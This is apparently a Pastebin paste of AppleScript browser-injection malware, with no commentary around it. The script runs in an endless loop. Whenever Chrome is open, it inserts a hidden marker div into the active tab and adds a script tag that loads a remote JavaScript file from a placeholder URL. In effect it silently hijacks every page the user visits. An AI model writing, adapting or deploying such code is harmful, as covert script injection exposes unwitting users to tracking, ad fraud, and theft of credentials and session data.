Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- global _pid
- set _pid to "pid_value_to_replace"
- repeat
- «event XFdrIjct» {}
- end repeat
- on «event XFdrIjct» {}
- delay 0.5
- try
- if is_Chrome_running() then
- tell application "Google Chrome" to tell active tab of window 1
- set sourceHtml to execute javascript "document.getElementsByTagName('html')[0].innerHTML"
- if sourceHtml does not contain _pid then
- tell application "Google Chrome" to execute front window's active tab javascript "document.body.innerHTML='<div style=\"display:none;\">" & _pid & "</div>'+document.body.innerHTML;"
- tell application "Google Chrome" to execute front window's active tab javascript "var js_script = document.createElement('script'); js_script.type = \"text/javascript\"; js_script.src = \"script_to_inject\"; document.getElementsByTagName('head')[0].appendChild(js_script);"
- end if
- end tell
- end if
- end try
- end «event XFdrIjct»
- on is_Chrome_running()
- tell application "System Events" to (name of processes) contains "Google Chrome"
- end is_Chrome_running
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement